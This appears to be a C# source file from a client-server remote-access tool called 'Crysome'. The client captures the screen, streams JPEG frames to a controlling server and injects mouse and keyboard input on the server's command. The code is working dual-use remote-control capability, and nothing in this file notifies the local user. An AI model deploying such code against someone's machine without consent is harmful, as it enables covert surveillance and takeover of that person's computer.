using System; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Runtime.InteropServices; using System.Threading; using System.Windows.Forms; using Crysome.Common.Network; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Packets.Client; using Crysome.Common.Network.Packets.Server; using TurboJpegWrapper; namespace Crysome.Client.Handlers; public static class RemoteDesktopHandlers { private struct INPUT { public uint type; public InputUnion U; public static int Size => Marshal.SizeOf(typeof(INPUT)); } [StructLayout(LayoutKind.Explicit)] private struct InputUnion { [FieldOffset(0)] public MOUSEINPUT mi; [FieldOffset(0)] public KEYBDINPUT ki; } private struct MOUSEINPUT { public int dx; public int dy; public uint mouseData; public uint dwFlags; public uint time; public IntPtr dwExtraInfo; } private struct KEYBDINPUT { public ushort wVk; public ushort wScan; public uint dwFlags; public uint time; public IntPtr dwExtraInfo; } private static volatile bool _desktopRunning; private static Thread _desktopThread; private static CrysomeClient _desktopClient; private static int _intervalMs = 200; private static int _screenIndex = -1; private static volatile int _jpegQuality = 80; private static byte _captureMode; public static string ActiveMode { get; private set; } = "Idle"; private static ImageCodecInfo _jpegCodec; private static readonly object _codecLock = new object(); private static TurboJpegWrapper.TJCompressor _turboCompressor; private static bool _turboChecked; private const int SM_XVIRTUALSCREEN = 76; private const int SM_YVIRTUALSCREEN = 77; private const int SM_CXVIRTUALSCREEN = 78; private const int SM_CYVIRTUALSCREEN = 79; public static void HandleGetScreens(CrysomeClient client, IPacket packet) { try { Screen[] allScreens = Screen.AllScreens; ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length]; for (int i = 0; i < allScreens.Length; i++) { Screen screen = allScreens[i]; array[i] = new ScreenInfo { Name = screen.DeviceName, X = screen.Bounds.X, Y = screen.Bounds.Y, Width = screen.Bounds.Width, Height = screen.Bounds.Height, IsPrimary = screen.Primary }; } client.SendPacket((IPacket)new ScreensResponsePacket(array)); } catch { client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0])); } } public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet) { _desktopRunning = false; _desktopThread?.Join(500); StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet; _intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs)); _screenIndex = val.ScreenIndex; _captureMode = val.CaptureMode; _desktopClient = client; _jpegQuality = 80; _desktopRunning = true; _desktopThread = new Thread(DesktopLoop) { IsBackground = true }; _desktopThread.Start(); } public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet) { _desktopRunning = false; _desktopThread?.Join(2000); } public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet) { RdpSetQualityPacket val = (RdpSetQualityPacket)packet; _jpegQuality = Math.Max(10, Math.Min(95, val.Quality)); if (val.IntervalMs > 0) _intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs)); } public static void HandleRemoteInput(CrysomeClient client, IPacket packet) { RemoteInputPacket val = (RemoteInputPacket)packet; try { int offsetX = 0, offsetY = 0; Screen targetScreen = GetTargetScreen(); if (targetScreen != null) { offsetX = targetScreen.Bounds.X; offsetY = targetScreen.Bounds.Y; } int x = val.X + offsetX; int y = val.Y + offsetY; switch (val.Kind) { case 0: SendMouseMove(x, y); break; case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break; case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break; case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break; case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break; } } catch { } } private static void DesktopLoop() { var sw = new Stopwatch(); DxgiCapture dxgi = null; bool dxgiAvailable = false; int dxgiRetryCounter = 0; if (_captureMode == 2) { // GDI+ forced — skip DXGI entirely dxgiAvailable = false; ActiveMode = "GDI+ (forced)"; Program.Log("[RDP] GDI+ forced by server, skipping DXGI"); } else { // Try DXGI (Auto or DXGI forced) try { dxgi = new DxgiCapture(); int idx = _screenIndex >= 0 ? _screenIndex : 0; dxgiAvailable = dxgi.Init(idx); if (dxgiAvailable) { ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI"; Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : "")); } } catch { dxgiAvailable = false; } if (!dxgiAvailable) { if (_captureMode == 1) { // DXGI forced but failed — log error, don't fall back ActiveMode = "DXGI (failed)"; Program.Log("[RDP] DXGI forced but init failed, no fallback"); } else { // Auto mode — fall back to GDI+ ActiveMode = "GDI+"; Program.Log("[RDP] DXGI unavailable, using GDI+ fallback"); } } } Bitmap gdiBitmap = null; Rectangle gdiRect = Rectangle.Empty; try { while (_desktopRunning && _desktopClient != null) { sw.Restart(); try { byte[] jpeg = null; if (dxgiAvailable) { jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16); if (jpeg != null) { dxgiRetryCounter = 0; } else { dxgiRetryCounter++; if (dxgiRetryCounter > 120) { Program.Log("[RDP] DXGI reinit"); int idx = _screenIndex >= 0 ? _screenIndex : 0; dxgiAvailable = dxgi.Init(idx); dxgiRetryCounter = 0; if (!dxgiAvailable) { if (_captureMode == 1) { Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback"); ActiveMode = "DXGI (failed)"; } else { Program.Log("[RDP] DXGI reinit failed, falling back to GDI+"); ActiveMode = "GDI+"; } dxgi.Dispose(); dxgi = null; } } } } if (!dxgiAvailable && _captureMode != 1) { Rectangle bounds = GetTargetScreen().Bounds; if (gdiBitmap == null || bounds != gdiRect) { gdiBitmap?.Dispose(); gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb); gdiRect = bounds; } jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality); } if (jpeg != null && jpeg.Length > 0) { try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { } } } catch { } int elapsed = (int)sw.ElapsedMilliseconds; int sleep = _intervalMs - elapsed; if (sleep > 1) Thread.Sleep(sleep); } } finally { ActiveMode = "Idle"; dxgi?.Dispose(); gdiBitmap?.Dispose(); } } private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality) { if (!_turboChecked) { _turboChecked = true; try { _turboCompressor = new TJCompressor(); } catch { _turboCompressor = null; } } if (_turboCompressor != null) { try { var bmpData = bmp.LockBits( new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format24bppRgb); try { return _turboCompressor.Compress( bmpData.Scan0, bmpData.Stride, bmp.Width, bmp.Height, TJPixelFormats.TJPF_BGR, TJSubsamplingOptions.TJSAMP_420, quality, TJFlags.FASTDCT); } finally { bmp.UnlockBits(bmpData); } } catch { _turboCompressor = null; } } var codec = GetJpegCodec(); if (codec != null) { using (var ep = new EncoderParameters(1)) { ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); using (var ms = new MemoryStream(65536)) { bmp.Save(ms, codec, ep); return ms.ToArray(); } } } using (var ms = new MemoryStream(65536)) { bmp.Save(ms, ImageFormat.Jpeg); return ms.ToArray(); } } private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality) { using (var g = Graphics.FromImage(reuseBmp)) g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size); return EncodeBitmapToJpeg(reuseBmp, quality); } private static ImageCodecInfo GetJpegCodec() { if (_jpegCodec != null) return _jpegCodec; lock (_codecLock) { if (_jpegCodec != null) return _jpegCodec; foreach (var info in ImageCodecInfo.GetImageEncoders()) { if (info.FormatID == ImageFormat.Jpeg.Guid) { _jpegCodec = info; break; } } } return _jpegCodec; } private static Screen GetTargetScreen() { var all = Screen.AllScreens; if (_screenIndex >= 0 && _screenIndex < all.Length) return all[_screenIndex]; return Screen.PrimaryScreen; } private static void ToAbsolute(int x, int y, out int ax, out int ay) { int vx = GetSystemMetrics(SM_XVIRTUALSCREEN); int vy = GetSystemMetrics(SM_YVIRTUALSCREEN); int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN); int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN); if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width; if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height; ax = (int)((double)(x - vx) * 65535.0 / vw); ay = (int)((double)(y - vy) * 65535.0 / vh); } private static void SendMouseMove(int x, int y) { ToAbsolute(x, y, out var ax, out var ay); var input = new INPUT[1]; input[0].type = 0; input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 }; SendInput(1, input, INPUT.Size); } private static void SendMouseButton(int x, int y, int button, bool down) { ToAbsolute(x, y, out var ax, out var ay); uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u); var input = new INPUT[1]; input[0].type = 0; input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags }; SendInput(1, input, INPUT.Size); } private static void SendKey(ushort vk, bool down) { var input = new INPUT[1]; input[0].type = 1; input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u }; SendInput(1, input, INPUT.Size); } [DllImport("user32.dll", SetLastError = true)] private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize); [DllImport("user32.dll")] private static extern int GetSystemMetrics(int nIndex); }